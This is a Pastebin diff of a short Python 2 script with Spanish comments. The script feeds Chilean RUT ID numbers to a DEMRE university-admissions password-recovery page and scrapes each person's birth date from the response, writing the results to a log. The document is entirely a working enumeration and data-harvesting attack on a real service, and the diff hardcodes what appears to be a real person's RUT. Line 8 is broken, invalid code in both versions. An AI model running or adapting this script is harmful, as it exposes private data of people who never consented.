View difference between Paste ID: v93JrVqD and kwgU9a71
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/env python
2
#-*- coding:utf-8 -*-
3
4
5
import urllib2
6
import urllib
7
8-
rut = open(18439934-2) # El archivo Rut.txt debe contener el rut de la forma 11111111-1
8+
rut = open 18439934-2 # El archivo Rut.txt debe contener el rut de la forma 11111111-1
9
log = open('log.txt', 'w') # Aqui se guardaran los resultados con la estructura [rut fecha]
10
rut_leido = rut.readlines()
11
url = "http://recuperaclave.demre.cl/recuperaclave/RecuperaClave.action" # La URL en cuestion
12
13
14
def nacimiento():
15
    for x in range(0, len(rut_leido)): # Para cada ususario hacemos el bucle
16
        usuario = 'c' + rut_leido[x] # la pagina espera el rut con un 'c' al principio
17
        datos = {"usuarioIdVO": usuario} # Los parametros a postear
18
        parametros = urllib.urlencode(datos)
19
        pagina = urllib2.urlopen(url, parametros)
20
        codigo = pagina.readlines()
21
        usr = usuario[1:-1] # Borramos el 'c' del principio y el \n' del final
22
        if len(codigo) == 154: # si la pagina resultane es de 154 lineas asepto el rut
23
            log.write(usr + ' ' + codigo[101][17:25] + '\n')
24
            print usr, codigo[101][17:25]
25
    log.close() # cerramos los archivos
26
    rut.close() # cerramos los archivos
27
28
29
nacimiento()